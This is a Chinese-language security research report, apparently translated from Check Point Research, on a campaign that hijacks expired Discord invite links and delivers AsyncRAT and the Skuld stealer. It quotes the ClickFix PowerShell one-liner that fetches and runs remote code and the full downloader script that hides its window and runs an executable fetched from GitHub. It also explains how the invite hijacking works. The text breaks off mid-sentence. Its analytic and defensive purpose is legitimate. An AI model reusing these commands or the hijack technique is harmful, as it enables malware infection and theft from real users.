Discord邀请链接漏洞被利用进行多阶段恶意软件攻击

本文详细分析了攻击者如何利用Discord过期邀请链接的漏洞,通过社交工程和多阶段加载器传播AsyncRAT和Skuld窃密软件,并利用GitHub、Bitbucket等可信服务进行 payload 分发。

从信任到威胁:被劫持的Discord邀请链接用于多阶段恶意软件分发

关键发现

Check Point Research发现了一个活跃的恶意软件活动,利用过期和已释放的Discord邀请链接。攻击者通过自定义链接注册劫持这些链接,使用户从可信来源静默重定向到恶意服务器。

攻击者结合了ClickFix钓鱼技术、多阶段加载器和基于时间的规避技术,悄悄分发AsyncRAT和针对加密货币钱包的定制版Skuld窃密软件。

Payload分发和数据外泄完全通过可信云服务进行,如GitHub、Bitbucket、Pastebin和Discord,帮助操作混入正常流量并避免触发警报。

该操作持续演进,威胁行为体现在可以通过使用ChromeKatz等适配工具绕过Chrome的应用绑定加密(ABE),从新版Chromium浏览器窃取cookie。

介绍

Discord是一个被广泛使用的可信平台,深受游戏玩家、社区、企业等需要安全快速连接的用户喜爱。但如果您信任的平台不知不觉变成陷阱会怎样?

Check Point Research发现了Discord邀请系统的缺陷,允许攻击者劫持过期或删除的邀请链接,悄悄将不知情用户重定向到恶意服务器。数月前由可信社区在论坛、社交媒体或官方网站发布的邀请链接,现在可能悄悄将您带入网络犯罪分子手中。

我们观察到真实攻击中,网络犯罪分子利用被劫持的邀请链接部署复杂钓鱼方案和恶意软件活动,包括设计用于规避防病毒工具和沙箱安全检查的多阶段感染。

本报告详细介绍了新发现的利用Discord邀请系统缺陷的恶意软件活动。攻击者精心编排多个感染阶段,分发如针对加密货币钱包的Skuld窃密软件和获取受感染系统完全远程控制的AsyncRAT等payload。值得注意的是,通过结合多种规避技术,攻击者能够悄悄分发恶意payload,同时绕过Windows安全功能并避开许多防病毒引擎的检测。

理解Discord邀请链接

我们最近对Discord邀请链接劫持的调查显示,网络犯罪分子积极利用Discord的邀请系统进行钓鱼攻击。最初,我们讨论了攻击者如何利用Discord的自定义(个性化)邀请链接——这些特殊邀请URL仅对具有高级订阅(Level 3 Boost)的服务器可用。犯罪分子针对失去Boost后自定义邀请链接过期的服务器,并将这些可识别的邀请URL挪为己用。

进一步研究表明,此问题不仅限于自定义个性化链接,还包括标准邀请链接(例如discord.gg/y1zw2d5)。

Discord生成随机邀请链接,使得合法服务器几乎不可能回收先前过期的邀请。然而,我们发现一些实例中,最初由合法社区在网站或Telegram频道发布的常规随机生成邀请代码,现在将用户重定向到恶意Discord服务器。这是如何实现的?

所有Discord邀请链接遵循以下格式:

1
2
https://discord.gg/{invite_code}
https://discord.com/invite/{invite_code}

Discord中有三种主要类型的邀请链接:

1. 临时邀请链接

除非另有指定,Discord默认生成临时邀请链接。通过Discord应用程序创建邀请时,您可以选择30分钟、1小时、6小时、12小时、1天或7天(默认)的过期时间。

通过Discord API生成时,您可以选择最多7天的任何自定义过期时间。邀请代码随机生成,通常包含7或8个字符,结合大写字母、小写字母和数字。例如:

1
2
https://discord.gg/T8CA7XrK
https://discord.gg/yzqKS3d

图1 – 在Discord应用程序中生成随机邀请代码

2. 永久邀请链接

这些通过明确选择"过期时间:永不"选项创建。为永久邀请生成的代码包含10个随机生成的字母数字字符(大写、小写、数字)。

图2 – 在Discord应用程序中生成永久邀请链接

永久邀请链接示例:

1
https://discord.gg/wAYq5GAsyH

3. 自定义个性化邀请链接

这些仅对具有高级订阅(Level 3 Boost)的Discord服务器可用。个性化邀请链接允许服务器管理员手动选择邀请代码,前提是它在所有Discord服务器中唯一。代码可能包含小写字母、数字或破折号,所有字母自动转换为小写。一个服务器一次只能有一个个性化链接。如果服务器失去其Boost,其自定义个性化链接可被其他Boosted服务器重用。

邀请代码重用和利用

创建常规随机生成的邀请链接时,过期或删除后无法再次获得相同邀请链接。邀请代码随机生成,生成完全相同邀请代码的概率极低。

然而,创建自定义邀请链接的机制令人惊讶地允许您重用过期的临时邀请代码,在某些情况下,甚至删除的永久邀请代码:

图3 – 在Discord应用程序中将先前使用的邀请代码从另一个服务器分配为Boosted服务器的自定义个性化邀请链接

攻击者积极利用此行为。一旦临时邀请过期,其代码可以注册为另一个具有Level 3 Boost的Discord服务器的自定义邀请。如果合法Discord服务器使用自定义个性化链接但后来失去Boost状态(例如,由于错过订阅付款),个性化邀请再次可用,攻击者可以为其自己的恶意服务器声明它。这造成了严重风险:遵循先前可信邀请链接(例如,在网站、博客或论坛上)的用户可能不知不觉被重定向到威胁行为者创建的虚假Discord服务器。

最安全的选择是使用永久邀请,它们更抗劫持。特别是,如果永久邀请代码包含任何大写字母,即使删除后也无法重用。然而,在罕见情况下,如果删除的永久邀请仅由小写字母和数字组成(约所有情况的0.44%),代码可能再次可用于注册为个性化邀请。

下表总结了每种邀请类型的劫持风险:

邀请类型 可被劫持? 解释
临时邀请链接 过期后,代码可用,可由具有Level 3 Boost的不同服务器重新注册为自定义个性化URL。
永久邀请链接 有条件 如果删除,仅包含小写字母和数字的代码可由具有Level 3 Boost的不同服务器重新注册为自定义个性化URL。
自定义个性化邀请 是(如果丢失) 如果原始服务器失去其Level 3 Boost状态,个性化邀请无效,可能被其他Boosted服务器声明。

在Discord客户端的Web和桌面版本中,邀请代码管理行为创造了额外风险因素。当用户通过服务器菜单中的"邀请人员"选项创建新临时邀请并勾选"将此链接设置为永不过期"复选框时,它不会修改已生成临时邀请的过期时间。下图显示,当您单击"将此链接设置为永不过期"复选框时,Discord客户端显示链接设置已更改,但邀请代码保持临时(如我们所见,它由8个字符组成)。

图4 – 当您为现有链接设置"永不过期"时,其过期设置实际上并未更改

用户通常错误地认为,仅通过勾选此框,他们已使现有邀请永久(正是这种误解在我们观察到的攻击中被利用)。结果,临时邀请在错误假设下发布,认为它们永不过期。这些链接最终在没有警告的情况下过期,使其代码易受劫持和恶意重用。

示例

让我们探讨攻击者如何在不同条件下劫持Discord邀请链接。

案例1:仅包含小写字母和数字的临时邀请

假设合法服务器共享如下的邀请链接:https://discord.gg/yzqks3d

此代码仅包含小写字母和数字。只要邀请有效,攻击者无法将其注册为个性化邀请。然而,一旦邀请过期或手动删除,代码可用。监控已知邀请代码的攻击者可以快速在恶意Boosted服务器上声明它作为个性化邀请。从那时起,任何使用此邀请(yzqks3d)的人将被重定向到攻击者的服务器。

案例2:包含大写字母的临时邀请

现在考虑另一个邀请代码:https://discord.gg/uzwgPxUZ

此代码包括大写字母。在这种情况下,攻击者可以使用相同代码的小写版本(uzwgpxuz)注册个性化邀请,即使原始邀请仍有效。Discord允许这样做,因为个性化代码始终以小写存储和比较。

虽然原始邀请仍然有效,但遵循链接的用户将登陆正确服务器。但只要此邀请过期,单击先前合法链接(uzwgPxUZ)的用户无缝重定向到攻击者的服务器,该服务器现在拥有该代码的小写个性化版本。

请注意,如果包含大写字母的原始邀请在其过期前手动删除,Discord继续将代码视为保留,直到达到计划过期时间。遵循原始链接(uzwgPxUZ)的用户在那之前不会被重定向到攻击者的服务器。

从可信链接到恶意Discord服务器

使用上述方法,攻击者劫持最初由合法社区共享的Discord邀请链接。遵循这些在社交媒体帖子或官方社区网站中找到的可信链接的用户,不知不觉最终登陆精心设计看起来真实的恶意服务器。

加入后,新成员通常看到大多数频道被锁定,只有一个频道(通常名为"verify")可访问。在此频道中,名为"Safeguard"的机器人提示用户完成验证步骤以获得完全服务器访问权限。

图5 – 用户单击被劫持邀请链接后登陆的恶意Discord服务器

检查机器人信息显示,恶意机器人"Safeguard#0786"创建于2025年2月1日:

图6 – 恶意"Safeguard"机器人描述

当用户单击"verify"按钮时,他们被要求授权机器人,重定向到外部网站:https://captchaguard[.]me。同时,机器人获取用户配置文件详细信息,如用户名、头像和横幅。

图7 – Safeguard机器人将用户重定向到钓鱼网站

钓鱼网站

用户授权机器人后,Discord启动OAuth2认证流程。Discord生成一次性代码,格式如https://captchaguard.me/oauth-pass?code=zyA11weHhTZxaY3Fs3EWBg6qfO7t6j的URL在浏览器中打开。同时,使用此代码,网站从Discord获取用户名和服务器名称。成功从Discord检索用户数据后,服务器将用户重定向到另一个格式的URL:

1
https://captchaguard[.]me/?key=aWQ9dXNlcm5hbWUyMzQ0JnRva2VuPTExMjIzMzQ0MDEyMz…

在此URL中,“key"变量包含从Discord检索的BASE64编码数据,包括用户名、Discord公会和图标ID。页面是静态的,实际上不验证"key=“变量中接收的数据。因此,任何人都可以使用空值打开它:

1
https://captchaguard[.]me/?key=

重定向后,用户显示一个模仿Discord UI的精心设计网页。中心是一个"Verify"按钮,伴随绿色盾牌徽标。

图8 – 显示虚假验证消息的钓鱼网站

单击"Verify"执行JavaScript,静默将恶意PowerShell命令复制到用户剪贴板:

1
powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9yL6MHc0RHa';$u=($r[-1..-($r.Length)]-join '');$url=[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($u));iex (iwr -Uri $url)"

攻击者使用称为"ClickFix"的精炼UX技巧,这是一种服务最初显得损坏,提示用户采取手动操作"修复"它的技术。在这种情况下,虚假的Google CAPTCHA显示为无法加载,并显示手动"验证"说明。

此页面呈现一系列清晰、视觉引导的步骤以通过"验证”:打开Windows运行对话框(Win + R),粘贴预加载到剪贴板的文本,然后按Enter。网站避免要求用户手动下载或运行任何文件,移除了常见危险信号。通过使用熟悉的Discord视觉效果和精美布局,攻击者创造了一种虚假的合法性感觉。

图9 – 欺骗用户执行恶意命令的社交工程技术

实际上,此操作导致用户计算机下载并执行托管在Pastebin上的PowerShell脚本:

1
https://pastebin[.]com/raw/zW0L2z2M

Pastebin是一个公共Web服务,用户可以在线存储和共享纯文本,通常用于共享代码片段、日志或配置数据。创建新"paste"时,它可通过短链接如"https://pastebin[.]com/raw/{resource_id}“访问。通常,共享某些数据不需要注册。注册用户能够删除和编辑他们先前发布的数据。

使用Pastebin、GitHub和Bitbucket的多阶段Payload分发

我们在研究中发现的恶意软件活动遵循精心设计的多阶段感染链。威胁行为者利用Discord、钓鱼网站、社交工程、Pastebin等公共服务以及GitHub和Bitbucket等云平台的组合来分发其payload。

下图总结了初始阶段,涉及通过被劫持的Discord邀请和上述ClickFix技术进行钓鱼:

图10 – 感染链概述:从被劫持的Discord邀请到PowerShell下载器的执行

此阶段结束时,在受害者机器上执行PowerShell脚本。此脚本从GitHub下载并运行第一阶段下载器(installer.exe),启动攻击的下一阶段。

此阶段结束时执行的脚本从GitHub下载并运行第一阶段下载器(installer.exe),启动攻击的下一阶段。此阶段涉及从Bitbucket检索的多个加载器和payload,最终部署恶意payload,包括AsyncRAT和Skuld窃密软件:

图11 – 感染链概述:从PowerShell到最终恶意软件payload分发

现在让我们详细检查第二阶段的每个组件。

下载器PowerShell脚本

从Pastebin链接下载的脚本未混淆或加密。从其代码中我们可以看到,它从GitHub URL下载并运行可执行文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Hide PowerShell Console Window
Add-Type -TypeDefinition @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
    [DllImport("user32.dll")]
    public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("kernel32.dll")]
    public static extern IntPtr GetConsoleWindow();
}
"@
$consolePtr = [Win32]::GetConsoleWindow()
[Win32]::ShowWindow($consolePtr, 0)  # Hide the console window

# Define the download and execution parameters
$url = "https://github.com/frfs1/update/raw/refs/heads/main/installer.exe"  # Direct EXE download
$exePath = Join-Path $env:TEMP ('installer.exe')

try {
    Write-Output "Establishing connection..."

    # Download the EXE using WebClient
    $webClient = New-Object System.Net.WebClient
    $webClient.DownloadFile($url, $exePath)

    # Validate the download
    if (-not (Test-Path $exePath) -or ((Get-Item $exePath).length -eq 0)) {
        Write-Output "failed. Exiting..."
        exit 1
    }

    # Run the executable
    Start-Process -FilePath $exePath -ArgumentList "-arg1" -NoNewWindow

} catch {
    Write-Output "An error occurred"
} finally {
    Write-Output "unable to detect discord session."
}

我们注意到几乎没有任何防病毒供应商将此脚本标记为恶意:

图12 – 恶意PowerShell脚本在VirusTotal上的检测率极低

网络犯罪分子积极使用编辑Pastebin上发布信息的能力,更改从中下载可执行文件的GitHub URL。这可能允许他们绕过GitHub的阻止。如果存储库被删除,攻击者只需创建新帐户和新存储库,将文件上传到其中。然后将新URL放入Pastebin脚本中。

监控活动期间,我们观察到地址的以下更改:

1
2
3
4
https://github[.]com/frfs1/update/raw/refs/heads/main/installer.exe
https://github[.]com/shisuh/update/raw/refs/heads/main/installer.exe
https://github[.]com/gkwdw/wffaw/raw/refs/heads/main/installer.exe
https://codeberg[.]org/wfawwf/dwadwaa/raw/branch/main/installer.exe

第一阶段下载器:installer.exe

下载的可执行文件installer.exe(SHA256:673090abada8ca47419a5dbc37c5443fe990973613981ce622f30e83683dc932)检测率极低。在我们研究时,VirusTotal上仅单个防病毒供应商将其标记为恶意:

图13 – 第一阶段下载器在VirusTotal上的检测率极低

持续监控活动期间,我们确定了加载器的较新变体(SHA256:160eda7ad14610d93f28b7dee20501028c1a9d4f5dc0437794ccfc2604807693),在提交时在所有防病毒引擎上实现零检测。

图14 – 第一阶段下载器在VirusTotal上零检测

此二进制文件充当下载器,从远程服务器检索其第二阶段payload。

用C++编写,大小约4.8MB,二进制文件未打包。然而,大量使用垃圾代码使其静态分析复杂化。此外,C++二进制文件固有地使分析复杂化,因为它们使用虚函数表、间接函数调用和复杂运行时结构,使得快速识别相关代码路径具有挑战性。

乍一看,下载器似乎包含纯文本字符串;然而,几乎所有容易可见的字符串属于旨在分散分析人员注意力的垃圾代码。实际上,与恶意功能相关的关键字符串通过存储为运行时直接推送到堆栈的立即值序列来隐藏。每个字符串还使用单字节密钥的简单XOR密码加密。每个加密字符串使用不同的XOR密钥,通常在将加密字节写入堆栈的过程之前加载到CL寄存器中。相同方法应用于混淆重要的Windows API函数名称,其地址恶意软件使用GetProcAddress动态解析。

图15 – 加载器中的字符串和API调用混淆

在没有额外选项的沙箱中执行时,恶意软件不暴露任何可疑功能。它只是执行数十个垃圾调用(如OpenThemeData、RegisterWindowMessageW、SHGetStockIconInf等),然后退出。

然而,如果使用命令行参数”-arg1"或”-arg2"执行,它会启动进一步的恶意操作。值得注意的是,前面描述的初始PowerShell脚本明确将

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计